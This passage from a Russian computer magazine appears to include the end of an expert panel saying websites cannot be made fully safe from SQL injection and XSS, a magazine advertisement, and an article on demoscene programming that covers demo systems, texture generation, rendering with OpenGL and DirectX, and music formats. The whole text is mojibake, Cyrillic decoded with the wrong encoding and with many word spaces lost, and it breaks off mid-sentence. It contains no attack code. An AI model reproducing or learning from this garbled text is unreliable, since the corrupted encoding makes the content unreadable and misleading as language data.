ïðåâðàòèâøèõåãî â äóðøëàã. Òàê ÷òî íèêòî íå ìîæåò ÷óâñòâîâàòü ñåáÿ â áåçîïàñíîñòè, ðàçâå ÷òî ïîëüçîâàòåëè Ðûñÿ(áðàçóçåð Lynx, íå ïóòàòü ñ Linux).ÌÎÆÍÎ ËÈ ÇÀÙÈÒÈÒÜÄÈÍÀÌÈ×ÅÑÊÈÉ ÑÀÉÒ ÎÒ SQLINJECTION È XSS (ÅÑÒÜ ÑÊÐÈÏÒÛ,ÐÀÁÎÒÀÞÙÈÅ ÍÀ ÁÄ) ÍÀ 100%ÂÀËÅÐÈß ÊÎÌÈÑÑÀÐÎÂÀ: Î÷åâèäíî, ÷òî çàùèòèòüñÿ íà 100% íè îò ÷åãî íåëüçÿ. È íå ñòîèò èñêàòüïîáåäèòåëåé â áîþ õàêåðîâ ñ ïðîãðàììèñòàìè. Íî èñïîëüçîâàíèå ðàçëè÷íûõ ìåòîäîâ áîðüáû ñ ýòèìèíàïàñòÿìè (ìåòîäîâ, ìåæäó ïðî÷èì, óæå äàâíî âûÿâëåííûõ è ôîðìàëèçîâàííûõ) ïîçâîëèò îáåçîïàñèòüñàéò åñëè íå íà 100, òî íà 90%. È ýòî óæå íåïëîõî, âåäü ïðîôåññèîíàëüíûõ âçëîìùèêîâ ñðåäè ñîâðåìåííîãîõàê-êîíòèíãåíòà ñîâñåì íå ìíîãî.ÌÈÕÀÈË ÔËÅÍÎÂ: Çàùèòèòüñÿ ìîæíî, íî äëÿ ýòîãî íóæíî ïîñòîÿííî äóìàòü î áåçîïàñíîñòè —âî âðåìÿ ïðîåêòèðîâàíèÿ, ðåàëèçàöèè è âíåäðåíèÿ, à íå êîãäà âçëîìàëè.ÊÐÈÑ ÊÀÑÏÅÐÑÊÈ: 100% ãàðàíòèþ íå äàåò äàæå Ãîññòðàõ. Õîòÿ èäåÿ çàñòðàõîâàòü ñàéò â ñòðàõîâîéêîìïàíèè íå òàêàÿ óæ è áðåäîâàÿ, êàêîé êàæåòñÿ íà ïåðâûé âçãëÿä. Ïî êðàéíåé ìåðå, â ñëó÷àå àòàêèêîìïàíèÿ êîìïåíñèðóåò íàíåñåííûé óùåðá. À åñëè ñåðüåçíî, òî âñå ðåøàåò ñëîæíîñòü. Íåñêîëüêî ñîòåíñòðîê ìîæíî ïðîâåðèòü è âäîëü, è ïîïåðåê. Íî òðóäîåìêîñòü ïðîâåðêè êîäà ðàñòåò áûñòðåå åãîîáúåìà è, íà÷èíàÿ ñ íåêîòîðîãî óðîâíÿ, ñòàíîâèòñÿ ïðàêòè÷åñêè íåâûïîëíèìîé çàäà÷åé, òðåáóþùåéãèãàíòñêèõ ðåñóðñîâ. Ñëåäîâàòåëüíî, ëó÷øàÿ çàùèòà — ýòî ïðîñòîòà èñïîëíåíèÿ.


{IT}Ñ ÌÀÐÒÀÂÑÅ ÁÓÄÅÒÏÎ-ÍÎÂÎÌÓ!ÍÎÂÎÑÒÈ,ÏËÀÒÔÎÐÌÛ È ÐÅØÅÍÈß,ÁÅÇÎÏÀÑÍÎÑÒÜ,ÐÀÇÐÀÁÎÒÊÀ,ÀÍÀËÈÇÛ È ÒÅÍÄÅÖÈÈ,ÌÍÅÍÈß ÝÊÑÏÅÐÒÎÂ,ÍÀÓÊÀ È ÒÅÕÍÎËÎÃÈÈ. ÊÀÆÄÎÌ ÍÎÌÅÐÅÀÍÀËÈÒÈ×ÅÑÊÈÉ ÎÒ×ÅÒ!ÒÅÌÀ «IT ÑÏÅÖ»  ÌÀÐÒÅ:ÐÀÁÎ×ÅÅ ÌÅÑÒÎ OPEN SOURCEÀ ÒÀÊÆÅ:ÊÎÍÖÅÏÖÈß ÑÈÑÒÅÌÛ ÇÀÙÈÒÛ ÊÎÐÏÎÐÀÒÈÂÍÎÃÎ ÑÅÐÂÅÐÀ;ÓÏÐÀÂËÅÍÈÅ ÊÎÌÀÍÄÎÉ ÐÀÇÐÀÁÎÒ×ÈÊÎÂÈ ÈÑÏÎËÜÇÎÂÀÍÈÅ ÑÈÑÒÅÌ ÊÎËËÅÊÒÈÂÍÎÉ ÐÀÁÎÒÛ;WEB-OFFICE: ÏÐÎÐÛ ÈËÈ ÊÐÓØÅÍÈÅ?


78 ÑÏÅÖ-TOPIC ÑÏÅÖ 02-07äåìîìåéêèíã >>Ñåêðåòû äåìî-êîäèíãàÍÅÌÍÎÃÎ ÈÍÒÅÐÅÑÍÎÃÎÎ ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÈ ÄÅÌÎñòð. 78ÈíòåðâüþÄÅÌÎÌÅÉÊÈÍÃ, ÈÑÒÎÐÈß,ÇÍÀÊÎÂÛÅ ËÞÄÈñòð. 84Ãðàôèêà â äåìêàõÈÑÒÎÐÈß È ÑÎÂÐÅÌÅÍÍÎÑÒÜÎÒ ÊÐÓÒÎÃÎ ÑÖÅÍÅÐÀñòð. 88Ìíå âñåãäà íðàâèëîñü, êîãäà ÈÍÄÓÑÒÐÈß ïåðåõîäèò â ÈÑÊÓÑÑÒÂÎ.Ñòðîèòü äîìà, áàíè, ãàðàæè è ïîäâàëû — ýòî ïðàêòè÷íî. Ïèñàòü áàçû äàííûõè òåñò-ñèñòåìû — òîæå íóæíîå è ïðàêòè÷íîå äåëî, çà êîòîðîå, áûâàåò, ïëàòÿòíåìàëûå äåíüãè. Ïðàâäà, â ýòîì ðàçäåëå ìû íå áóäåì ãîâîðèòüî ïðîãðàììèðîâàíèè íà áîëüøîãî äÿäþ. Âìåñòî áàíü ó íàñ òóò áóäóò ðèìñêèåòåðìû, óñòàâëåííûå ïðåêðàñíûìè ñòàòóÿìè, âìåñòî ïàíåëüíûõ äîìîâ —Êîëëèçåè, Êîëîññû Ðîäîññêèå è ãðîáíèöû Ìàâñîëà. Èíà÷å ãîâîðÿ, ìûðàññêàæåì òåáå î äåìî-ìåéêèíãå. À óæ ïîñëå òîãî, êàê ÿ ïîãîíÿë íåñêîëüêîèíòåðåñíûõ äåìîê íà ñâîåì êîìïå (îñîáåííî òó, ðàçìåðîì 64 Êá, ãäå òðåõìåðíàÿíåîäåòàÿ äàìà ñîâåðøàåò ïðîãóëêó â àñòðàëüíîì ìèðå), ÿ ïîíÿë, ÷òî èíîãäà ýòîíå òîëüêî èñêóññòâî, íî è íåìíîãî âîëøåáñòâî :)ñåêðåòûdemo-êîäèíãàÄÅÌÊÀ — ÝÒÎ ÏÐÎÃÐÀÌÌÀ, ÊÎÒÎÐÀß Â ÐÅÀËÜÍÎÌÂÐÅÌÅÍÈ ÎÑÓÙÅÑÒÂËßÅÒ ÏÐÎÐÈÑÎÂÊÓ ÑËÎÆÍÛÕÃÐÀÔÈ×ÅÑÊÈÕ ÔÈÃÓÐ Â ÓÑËÎÂÈßÕ ÑÒÐÎÃÎÉÑÈÍÕÐÎÍÈÇÀÖÈÈ Ñ ÌÓÇÛÊÎÉ, ÈÑÏÎËÜÇÓßÂÛ×ÈÑËÈÒÅËÜÍÛÅ È ÌÓËÜÒÈÌÅÄÈÉÍÛÅÂÎÇÌÎÆÍÎÑÒÈ ÊÎÌÏÜÞÒÅÐÀ. ÇÂÓ×ÈÒ ÑËÈØÊÎÌÍÀÏÛÙÅÍÍÎ? ÒÎÃÄÀ, ÏÎÆÀËÓÉ, ÎÑÒÀÍÎÂÈÌÑßÍÀ ÒÎÌ, ×ÒÎ ÄÅÌÊÀ — ÝÒÎ ÏÐÎÑÒÎ ÏÐÎÃÐÀÌÌÀÄìèòðèé Ãðàìîòååâdemo internal mechanics. Ñíà÷àëà äåìû äåìîíñòðèðîâàëèêðóòîñòü ïðîãðàììèðîâàíèÿ è äåëàëèñü,÷àùå âñåãî, îäíèì èëè äâóìÿ ó÷àñòíèêàìè. íàøå âðåìÿ äåìêè óêàçûâàþò íà êðåàòèâíîñòü àâòîðàè íåñòàíäàðòíîñòü åãî ìûøëåíèÿ. Ñëîæíîñòüè êîëè÷åñòâî ìåäèàêîíòåíòà â ñîâðåìåííûõ äåìêàõäèêòóåò íåîáõîäèìîñòü ðàçäåëÿòü àâòîðîâ íà ïðîãðàììåðà,ìóçûêàíòà, õóäîæíèêà è ìîäåëëåðà.Ñîâðåìåííûå äåìêè äîñòèãàþò ðàçìåðîâ20 ìåãàáàéò. Ñïðàøèâàåòñÿ, à íå ïðîùå ëè ïåðåãíàòüñ ïîìîùüþ kkapture âñå ýòî ñ÷àñòüå â òàêîãîæå ðàçìåðà AVI è ñìîòðåòü íà ëþáîì êîìïüþòåðåè â ëþáîì ðàçðåøåíèè? Àí íåò! Íè îäèí èç ñóùåñòâóþùèõâèäåîêîäåêîâ íå ñïîñîáåí ïðè ñîïîñòàâèìîìðàçìåðå ðåçóëüòèðóþùåãî ôàéëà ïåðåäàòüïîïèêñåëüíîå êà÷åñòâî êàðòèíêè äåìêè. Áîëåå òîãî,åñëè ïîçâîëÿþò âû÷èñëèòåëüíûå ìîùíîñòè,òî èçîáðàæåíèå íà ýêðàíå áóäåò ìåíÿòüñÿ íå ñîñêîðîñòüþ êëàññè÷åñêèõ AVI'øíûõ 25 êàäðîâ â ñåêóíäó,à ñî ñêîðîñòüþ 100 è äàæå 200! Äà, ñàì ôàêòîñîçíàíèÿ òîãî, ÷òî âñå ýòî äåëàåòñÿ â ðåàëüíîìâðåìåíè, äîáàâëÿåò äåìêàì ñòîèìîñòè.íà ÷åì ïèøóòñÿ äåìêè? Ïåðâûé âîïðîñ ïðèíàïèñàíèè äåìî, êîòîðûé âñòàåò ïåðåä áîëüøèíñòâîìëþäåé, ðåøèâøèõ, ÷òî èì ïîðà íàïèñàòüñîáñòâåííîå ïðîèçâåäåíèå, — «à íà ÷åì ýòî ïèøåòñÿ?».Äåìû ïèøóòñÿ íà òîì ÿçûêå ïðîãðàììèðîâàíèÿ,êîòîðûé áîëåå óäîáåí àâòîðó. ×àùå âñåãî —íà C/C++ (VC, GNU C). Êîíå÷íî, íå ñòîèò äóìàòü,÷òî âûáîð, äîñòóïíûé ïðîãðàììèñòó, ýòî «C++or die». Åäèíñòâåííûé ðåàëüíûé áîíóñ, êîòîðûé ïîëó÷àþòëþäè, êîòîðûå ïèøóò íà ïðèïëþñíóòîì Ñèïåðåä äðóãèìè ÿçûêàìè ïðîãðàììèðîâàíèÿ, ýòî òî,÷òî ïðèìåðû èç MSDN, Direct-X SDK è ìîðå òóòîðèàëîâíàïèñàíû èìåííî íà ýòîì ÿçûêå. Âñå îñòàëüíîå— just rumors. Äðóãèõ îáúåêòèâíûõ ïðè÷èí ïðåèìóùåñòâàC/C++ îñîáî è íåò. Íà Delphi, VB èëè äàæåíà «ãîëîì» àññåìáëåðå ìîæíî íàïèñàòü àáñîëþòíîòî æå ñàìîå, à òî è ÷òî-íèáóäü ïîêðó÷å(ñîáñòâåííî, ëþäè òàê è ïîñòóïàþò :-)).Åùå äåìêè ïèøóòñÿ â äåìîñèñòåìàõ. Äåìîñèñòåìû— ýòî ñïåöèàëèçèðîâàííûå ïðîãðàììû–îáîëî÷êè,êîòîðûå ïîñðåäñòâîì ãðàôè÷åñêîãî èíòåðôåéñàñîçäàþò ñêðèïòû äåìîê. Òàêèå äåìî-ñèñòåìûâ ðåçóëüòàòå ýêñïîðòèðóþò èñïîëíÿåìûé ôàéë ïëååðàè íàáîð ñêðèïòîâ. Ñàì ñêðèïò ñîäåðæèò èíôîðìàöèþâ ñòèëå «÷òî, êàê è êîãäà ïîêàçûâàòü» è ïîëüçîâàòåëüñêèåìåäèàäàííûå. Äåìîñèñòåìû áûâàþòî÷åíü ðàçíûå. Äëÿ ðàáîòû ñ êàæäîé èç íèõ òåáå áóäåòíåîáõîäèìî ïðî÷èòàòü ìàíóàëû è ðàçîáðàòüñÿâ òóòîðèàëàõ (ìîæåò, åùå íå ïîçäíî ïî÷èòàòü êíèæêóïðî C++?). Ñ áîëüøèì îòðûâîì ôóíêöèîíàëüíîñòèè êà÷åñòâà ëèäèðóåò ñèñòåìà Werkkzeug. Ïðîñòîîáàëäåííàÿ øòóêà (ïðè ïðàâèëüíîì ïðèìåíåíèè :)).Ñïèñîê ïîääåðæèâàåìûõ ôè÷ ìîæíî ïåðå÷èñëÿòü äîêîíöà ñòàòüè. Îò äåìîìåéêåðà íå òðåáóåòñÿ íè÷åãî,êðîìå åãî êðåàòèâà. Äëÿ îöåíêè ìàñøòàáà òðàãåäèèñìîòðèì ïîòðÿñàþùóþ ðàáîòó îò Farbrausch — fr-025(íà ñîîòâåòñòâóþùèõ êàðòèíêàõ).Ìåæäó ïðî÷èì, íà ñàéòå WZ èìåííî ýòîò ïðîåêòëåæèò â èñõîäíèêàõ è ïîëíîñòüþ äîñòóïåíäëÿ ñêà÷èâàíèÿ è «êîâûðÿíèÿ»! Ïîëíîöåííûå è «ñúåäîáíûå»ðóññêîÿçû÷íûå òóòîðèàëû ïî WZ ïðèòàèëèñüíà ñàéòå www.vova4age.narod.ru. Åùå îäíèìêëàññè÷åñêèì ïðèìåðîì äåìîñèñòåìû ÿâëÿåòñÿMoppy Demopaja. Íî, â îòëè÷èå îò WZ, Demopaja íåòàñêàåò «âñå â îäíîì ôëàêîíå», è òåáå ïðèäåòñÿïûõòåòü è ïèñàòü ñïåöèàëüíûå ïëàãèíû äëÿ òâîèõ


80 ÑÏÅÖ-TOPIC ÑÏÅÖ 02-07Èíèöèàëèçàöèÿãðàôè÷åñêîéïîäñèñòåìûÖèêë-äèñïåò÷åðïðîâåðÿåì êëàâèàòóðóè âðåìÿ íà òåìó«íå ïîðà ëè íàìâûõîäèòü»Êóëüòóðíî óáèðàåìçà ñîáîé âåñü ìóñîðâûõîä!Ñõåìà ðåàëèçàöèèñóïåð-ïóïåð ýôôåêòîâ ñàìîìó (çàòî ðåäàêòîð ñöåíè ñïëàéíîâ óäîáíûé). Êðîìå ýòîãî, ñîâåòóþ îáðàòèòüâíèìàíèå íà äåìîñèñòåìó neon v2 îò ãðóïïûxplsv è îòå÷åñòâåííûé opensource-ïðîåêò Plasticator.Åñëè ó òåáÿ åñòü îïûò ïðîãðàììèðîâàíèÿ èëèìîðå àìáèöèé è òû ïèøåøü ñâîþ ñàìóþ ïåðâóþ äåìêó,òî ñîâåòóþ çàáûòü ïðî âñå ñòîðîííèå äåìîñèñòåìû.Ïèøè âñå ñâîå: òàê òû áûñòðåå îñîçíàåøü, ÷òîèìåííî òåáå íåîáõîäèìî, íå çàáèâàé ñâîþ ãîëîâó ÷óæèìèáðåäíÿìè — ó òåáÿ ñâîèõ õâàòàåò. Ó ìåíÿ åñòüïàðà çíàêîìûõ ëè÷íîñòåé, êîòîðûå óáèâàþò áîëüøóþ÷àñòü âðåìåíè è ñèë íà íàïèñàíèå èíñòðóìåíòàðèÿè äåìîñèñòåìû, ÷åì ñîáñòâåííî íà ñàìó äåìêó.ãðàôèêà. Ãðàôèêà â äåìêå ìîæåò áûòü ðàñòðîâîéè âåêòîðíîé. Ðàñòðîâàÿ ãðàôèêà ðèñóåòñÿâ ðåäàêòîðàõ à-ëÿ Ôîòîøîï, à âîò ñ âåêòîðíîé âñåíåñêîëüêî ñëîæíåå. Äëÿ õðàíåíèÿ ðàñòðîâîé ãðàôèêèëþáîãî ñîäåðæàíèÿ íàì õâàòèò PNG è JPG,à âîò ôîðìàòîâ âåêòîðíîé ãðàôèêè — òüìà, âåäüêàæäûé ðåäàêòîð ñîõðàíÿåò åå â ñâîåì ôîðìàòå.Ñòàíäàðòîì äå-ôàêòî ÿâëÿåòñÿ 3Ds. Äëÿ âñåõ îñòàëüíûõ«òÿæåëûõ ñëó÷àåâ» ñóùåñòâóþò ïðîãðàììû-êîíâåðòîðûâåêòîðíûõ ãðàôè÷åñêèõ ôàéëîâ(î÷åíü õîðîøèé ïðèìåð — Deep Exploration).Íî ýòî âñå òåîðèÿ, à íà äåëå ìàòåðûå äåìîìåéêåðû÷àñòåíüêî áðåçãóþò ñòàíäàðòíûìè ôîðìàòàìè,âûäóìûâàÿ ñâîè. È ïðàâèëüíî äåëàþò! Ýòîïîçâîëÿåò äåëàòü êîä áîëåå ãèáêèì, èñïîëüçîâàòüëåãêîâåñíûé çàãðóç÷èê è îïòèìèçèðîâàòü äàííûåïîä êîíêðåòíûå çàäà÷è.Çàãðóçèòü ðàñòðîâîå èëè âåêòîðíîå èçîáðàæåíèåìîæíî ñ ïîìîùüþ ðàçëè÷íûõ áèáëèîòåê. Êàêâàðèàíò — íàïèñàòü ñàìîìó, íî ñòîèò ëè èçîáðåòàòüâåëîñèïåä? Íà òîì æå www.sourceforge.net åñòüìíîæåñòâî áèáëèîòåê äëÿ çàãðóçêè äàííûõ ëþáûõôîðìàòîâ. È, âñïîìèíàÿ áîÿíèñòóþ ôðàçó íà ÿðëûêåìóæñêîé ðóáàøêè «dry wash only, 40 °C, no bleach,inside out, no machine washing — OR — just give it toyour wife — it’s her job», âñå îñòàëüíîå ñêèäûâàåì íàõóäîæíèêà. Ýòî åãî ðàáîòà — ðèñîâàòü è ñîõðàíÿòüâ ïðàâèëüíûé ôîðìàò. Åñëè áóäåò ñîïðîòèâëÿòüñÿ,òî ïîêàæè åìó, êòî â äîìå õîçÿèí ;).Âåðøèíîé èñêóññòâà äåìîìåéêèíãà ÿâëÿåòñÿãåíåðàöèÿ èçîáðàæåíèé òåêñòóð èñêëþ÷èòåëüíîïîñðåäñòâîì êîäà. Òóò ðå÷ü èäåò íå î ïðîñòûõ ãðàäèåíòàõñ øóìîì, à èìåííî î ñëîæíûõ èçîáðàæåíèÿõ.Îñòàíîâèìñÿ íà ýòîì ìîìåíòå è èäåì ñìîòðåòü64êá èíòðó Fr-08: The Produkkt (ñîîòâåòñòâóþùàÿêàðòèíêà).Ñìîòðèì äî ñàìîãî êîíöà è âíèìàòåëüíî âíèêàåìâ öèôðû â òèòðàõ — âïå÷àòëÿåò! Ðàçîáðàòüñÿ,êàê ðàáîòàþò ãåíåðàòîðû òåêñòóð, ìîæíî íà îòëè÷íîìïðèìåðå ïðîåêòà Àëåêñàíäðà Êóõàðåíêî (hi,f0x!) — «Plasticator» (http://plasticator.heroez.net). Âîîáùåãîâîðÿ, ýòîò ïðîåêò — ïîëíîöåííàÿ îòå÷åñòâåííàÿäåìîñèñòåìà, íà êîòîðîé áûëè ñäåëàíû ðàçëè÷íûåèíòðû è äåìêè, íî íàñ íà äàííîé ñòàäèè áóäåòèíòåðåñîâàòü òîëüêî òî, êàêèì îáðàçîì ìîæíî ïîëó÷èòüñëîæíûå ðèñóíêè ïîñðåäñòâîì ìèíèìóìàêîäà. Êîïàåì èñõîäíèêè, êðóòèì êíîïêè — îñîçíàåìhow to. Äåëüôèíàì, äà è îñòàëüíûì, ðåêîìåíäóåòñÿïîñìîòðåòü èíòåðåñíûé ïðîåêò www.ainc.de —«Texture»Îí òàêæå óêîìïëåêòîâàí ñîðöàìè è êðàéíå ïîçíàâàòåëåí.Ôóíêöèîíàëüíûå âîçìîæíîñòè, êîíå÷íî,íå ôîíòàí, ïî ñðàâíåíèþ ñ «Plasticator», íî âñå áîëåå÷åì ñúåäîáíî. Èñïîëüçîâàíèå ãåíåðèðóåìûõ òåêñòóððàäèêàëüíî èçìåíÿåò ðàçìåð äåìêè íà íîñèòåëå.êàê âñå ýòî ïîêàçàòü íà ýêðàíå? Ïðîöåññ îòðèñîâêèêàðòèíêè íà ýêðàíå íàçûâàåòñÿ ðåíäåðèíãîì.Ðåíäåðèíã ìîæåò áûòü ïðîãðàììíûé (software)èëè ñ ïîìîùüþ ñðåäñòâ ãðàôè÷åñêèõ áèáëèîòåêOpenGL / DirectX (hardware accelerated).Ñîôòâàðíûé ðåíäåð ïîïèêñåëüíî îáðàáàòûâàåòêàðòèíêó, èñïîëüçóÿ âû÷èñëèòåëüíûå ìîùíîñòèöåíòðàëüíîãî ïðîöåññîðà. Ðàçëè÷àþò îáû÷íûéñîôòâàðíûé ðåíäåð è ðåéòðýéñèíã (raytracing). ïåðâîì ñëó÷àå èçîáðàæåíèå ïîëó÷àåòñÿ ïóòåìðàñòåðèçàöèè ïîëèãîíîâ ñ ó÷åòîì îñâåùåíèÿè òåêñòóðèðîâàíèÿ ïî òàê íàçûâàåìûì ñêàíëàéíàì(scanlines), à âî âòîðîì ñëó÷àå èçîáðàæåíèåïîëó÷àåòñÿ ïóòåì ðàñ÷åòà âèðòóàëüíûõ ëó÷åéñ ó÷åòîì ôèçèêè îòðàæåíèÿ, ïðåëîìëåíèÿ è îñëàá-ÇàãðóçêàÎïðåäåëåíèåòåêóùåãî âðåìåíèäëÿ äàííîãî êàäðàÑ÷èòàåì, êàêèå ñöåíûíàì íàäî ðèñîâàòüâ ýòîì êàäðåÌèêøèðóåìîòðåíäðåííûå ñöåíû,ïîñòïðîöåññèíãè ïðî÷èå ðàäîñòèÇàãðóçêàãëîáàëüíûõ äàííûõ,ìóçûêèÃåíåðàöèÿòåêñòóð, ñýìïëîâ,ãåîìåòðèèÄîïîëíèòåëüíàÿçàãðóçêà äàííûõäëÿ êîíêðåòíîé ñöåíûÑöåíà, êîòîðàÿ ïðèíèìàåòëîêàëüíûé ïàðàìåòð —ëîêàëüíîå âðåìÿÅùå îäíà ñöåíà,â êîëè÷åñòâå îò 0äî âàøåé ôàíòàçèèëåíèÿ ñâåòà. Ïåðâûé ñïîñîá ïîçâîëÿåò ïîëó÷èòüäîñòàòî÷íî êà÷åñòâåííóþ êàðòèíêó ñ ïðèëè÷íûìêîëè÷åñòâîì ïîëèãîíîâ, çàòî ðåéòðåéñåð ìîæåòñãåíåðèðîâàòü çíà÷èòåëüíî áîëåå ðåàëèñòè÷íóþêàðòèíêó ñ ýôôåêòàìè, íåäîñòóïíûìè äàæå ñàìûì-ñàìûìñîâðåìåííûì âèäåîàêñåëåðàòîðàì.Äîñòóï ê âîçìîæíîñòÿì âèäåîóñêîðèòåëÿ îñóùåñòâëÿåòñÿ÷åðåç áèáëèîòåêè OpenGL è DirectX.Âîçìîæíîñòè ïîñëåäíèõ âåðñèé OpenGL è DirectX áîëåå÷åì ñðàâíèìû, õîòÿ, ñ ìîåé òî÷êè çðåíèÿ, DirectXáîëåå programmer-friendly. Îí ïîääåðæèâàåò áîëüøåôîðìàòîâ ôàéëîâ, èíòåðôåéñîâ äëÿ ñòðóêòóð äàííûõ.Äîñòóï ê ðàñøèðåííûì ôóíêöèÿì òàêæå çíà÷èòåëüíîïðîùå â DirectX, çàòî OpenGL ÿâëÿåòñÿäåéñòâèòåëüíî êðîññïëàòôîðìåííîé áèáëèîòåêîé.Äîñòóï ê ðàñøèðåííûì ôóíêöèÿì âèäåîóñêîðèòåëÿ âOpenGL îñóùåñòâëÿåòñÿ ÷åðåç òàê íàçûâàåìûå ðàñøèðåíèÿ,÷òî çíà÷èòåëüíî óñëîæíÿåò íàïèñàíèå êîäà.Õîòÿ âðó. Íå óñëîæíÿåò, à óâåëè÷èâàåò êîëè÷åñòâîòåëîäâèæåíèé.  ìèíóñ API OpenGL âåðñèé íèæå2.0 èäåò òàêæå îòñóòñòâèå âîçìîæíîñòè èñïîëüçîâàíèÿòåêñòóð ðàçìåðà, íå êðàòíîãî ñòåïåíè 2. Äëÿ


81www.ainc.de — «Texture»ëþáèòåëåé «õî÷ó âñå è ñðàçó» åñòü òàêèå èçâðàùåíèÿêàê SDL (Simple DirectMedia Layer, www.libsdl.org) —êðîññïëàòôîðìåííàÿ òóëçà, ïîçâîëÿþùàÿ ïèñàòüìóëüòèìåäèéíûå ïðèëîæåíèÿ. «Ïðîñòîé äîñòóïê ìóëüòèìåäèéíûì âîçìîæíîñòÿì» îáåðíåòñÿ äëÿíàñ íåîáõîäèìîñòüþ äîñêîíàëüíî èçó÷èòü íå òîëüêîAPI ñàìîãî SDL, íî è OpenGL, è âñåãî îñòàëüíîãî,ïîñêîëüêó êîãäà-íèáóäü îáÿçàòåëüíî çàõî÷åòñÿ ðàçîáðàòüñÿâî âñåì èçíóòðè ;).  òàêèå ìîìåíòû òûäîëæåí äåðæàòü ïîä ðóêîé êíèæå÷êó ïî C++è OpenGL/DirectX. Âûõîä èç ñèòóàöèè, êîãäà õî÷åòñÿâûñîêîãî êà÷åñòâà êàðòèíêè, íî ëåíèâî ðàçáèðàòüñÿâ òîíêîñòÿõ íèçêîóðîâíåâûõ áèáëèîòåê — ñòîðîííèå3D-ðåíäåðû. Èõ î÷åíü ìíîãî è îíè âñå î÷åíü ðàçíûå,íî, êàê ïîêàçûâàåò ïðàêòèêà, â áîëüøèíñòâå ñëó÷àåâíàïèñàòü ñîáñòâåííûé äâèæîê äëÿ äåìêè íàìíîãîïðîùå è ïåðñïåêòèâíåå, ÷åì òðàòèòü âðåìÿ íà èçó÷åíèåóñòðîéñòâà ÷óæîãî êîäà. Òàê ÷òî íàñòîÿòåëüíî ðåêîìåíäóþòåáå ïèñàòü âñå ñâîå.Òàêèì îáðàçîì, ìîæíî âûäåëèòü òðè òèïàðåíäåðà — êîãäà êîä äåìêè íå çíàåò, ÷åì åãî áóäóòîòðèñîâûâàòü è îáùàåòñÿ òîëüêî ÷åðåç ïðîñëîéêóãðàôè÷åñêîãî äâèæêà; êîãäà ãðàôè÷åñêîãî äâèæêàíåò êàê òàêîâîãî, íî åñòü íàáîð ñòðóêòóð äàííûõè ìåëêèå êóñêè êîäà äëÿ ðàáîòû ñ íèì; è êîãäà âåñüêîä ïðîðèñîâêè íà óðîâíå API íàõîäèòñÿ ïðÿìîâ êîäå äåìêè. Ïåðâûé ñïîñîá íàèáîëåå ïðàâèëüíûéñ òî÷êè çðåíèÿ ïðîãðàììíîãî ïîäõîäà. Íåîáõîäèìànew feature? — äîáàâü îçíà÷åííóþ ôè÷óâ ñîðöû ðåíäåðà. Âòîðîé ñïîñîá, êîãäà âûçîâû APIíàìåøàíû â êîäå äåìêè ñî âñåì îñòàëüíûì, ïîçâîëÿåòçíà÷èòåëüíî óñêîðèòü ïðîöåññ ðàçðàáîòêè, íîòðåáóåò íåñêîëüêî áîëüøåé êâàëèôèêàöèè ïðîãðàììèñòà.Òðåòèé ñïîñîá ïðèãîäåí òîëüêî äëÿ òîãî,÷òîáû ïîêàçàòü, ÷òî îí ñóùåñòâóåò è íå äîëæåíèñïîëüçîâàòüñÿ — ñëîæíîñòü ðàçðàáîòêè, îãðîìíûéðàçìåð èñõîäíîãî êîäà, — è ýòî òîëüêî íà÷àëîâíóøèòåëüíîãî ñïèñêà åãî «áîíóñîâ».Ãðàôè÷åñêèé òóëêèò ëþáîãî äåìîìåéêåðàäîëæåí âêëþ÷àòü â ñåáÿ êàê ìèíèìóì äîêóìåíòàöèþè ïðèìåðû.  äàëüíåéøåì òû äîáàâèøü â ýòîòñïèñîê ñâîè íàðàáîòêè, ñíèïåòñû è âñå îñòàëüíîå.Íàñòîÿùåé OpenGL-Ìåêêîé ñòàë ñàéò www.nehe.gamedev.net.Ïðîñòûå è ïîíÿòíûå óðîêè è ñòàòüè(ñ ïîäðîáíûì ïîñòðî÷íûì (!) îïèñàíèåì âñåãî, ÷åãîòîëüêî ìîæíî) ðàäóþò óæå íå ïåðâîå ïîêîëåíèåêîäåðîâ, à êàæäûé óðîê îò NeHe ìîæíî ðàññìàòðèâàòüêàê îòäåëüíóþ ìèíè-äåìêó. Áîëåå òîãî, ïðèìåðûNeHe ïîðòèðîâàíû íà áîëüøîå êîëè÷åñòâî ÿçûêîâïðîãðàììèðîâàíèÿ.  èíòåðíåòå ñóùåñòâóåòòàêæå è ðóññêàÿ âåðñèÿ óðîêîâ NeHe —http://pmg.org.ru/nehe. Åùå ðåêîìåíäóþ î÷åíü õîðîøèéðåñóðñ ñ ìÿñèñòûì èìåíåì õîñòà — http://ultimategameprogramming.com— ñàéò ñîäåðæèò äåéñòâèòåëüíîìíîãî ïðèìåðîâ ïî OpenGL è DirectX. Ïðèìåðû ñUGP áîëåå ïðîäâèíóòû, ÷åì íà NeHe — åñòü HDR,ðàçëè÷íûå Shadows-òåõíîëîãèè, øåéäåðû, ëàéòìàïû,çàãðóçêà ðàçëè÷íûõ ôàéëîâûõ ôîðìàòîâ, äà èêóëüòóðà êîäà ó ïðèìåðîâ íàìíîãî âûøå. DirectXðàçðàáîò÷èêàìðåêîìåíäóåòñÿ äåðæàòü ó ñåáÿ íàäèñêå ñîîòâåòñòâóþùèé SDK, íî åñëè â ãðàôèêåòû — íà÷èíàþùèé, òî ðàçîáðàòüñÿ â ïðèìåðàõ 8-ãîèëè 9-ãî SDK ïîíà÷àëó áóäåò î÷åíü ñëîæíî.ìóçûêà. Äåìà áåç ìóçûêè ýòî… ïîëíûé áðåä!Ñåé÷àñ ìû ðàññìîòðèì, êàê õðàíèòü ìóçûêó, ÷åì ååèãðàòü è, âîîáùå, çà÷åì ýòî âñå íàäî.Òåõíîëîãè÷åñêè ìóçûêà â äåìêàõ áûâàåòMIDI, ìîäóëüíàÿ, ñèíòåçèðîâàííàÿ èëè ïîòîêîâàÿ.MIDI-ôîðìàò — îí è â Àôðèêå MIDI.  äåìêàõ îí èñïîëüçóåòñÿâ ÷èñòîì âèäå êðàéíå ðåäêî. Ó÷èòûâàÿ,÷òî åñòü ìíîãî áîëåå ýôôåêòèâíûõ ñïîñîáîâ, ñîâåòóþçàáûòü ïðî íåãî âîîáùå. Íå ñòîèò, êîíå÷íî,îïóñêàòü MIDI äî óðîâíÿ ãðÿçè, ýòî âñåãî ëèøü ôîðìàòôàéëà è åãî ìîæíî ïðîèãðàòü ÷åðåç î÷åíü íàâîðî÷åííûéñèíòåçàòîð, ïîëó÷èâ òàêèì îáðàçîìïîòðÿñíûé ñàóíä. Íî äëÿ äåìîìåéêèíãà îí íå ïîäõîäèò:). Èñòîðè÷åñêè ïåðâûì òèïîì ìóçûêè â äåìêàõáûëè 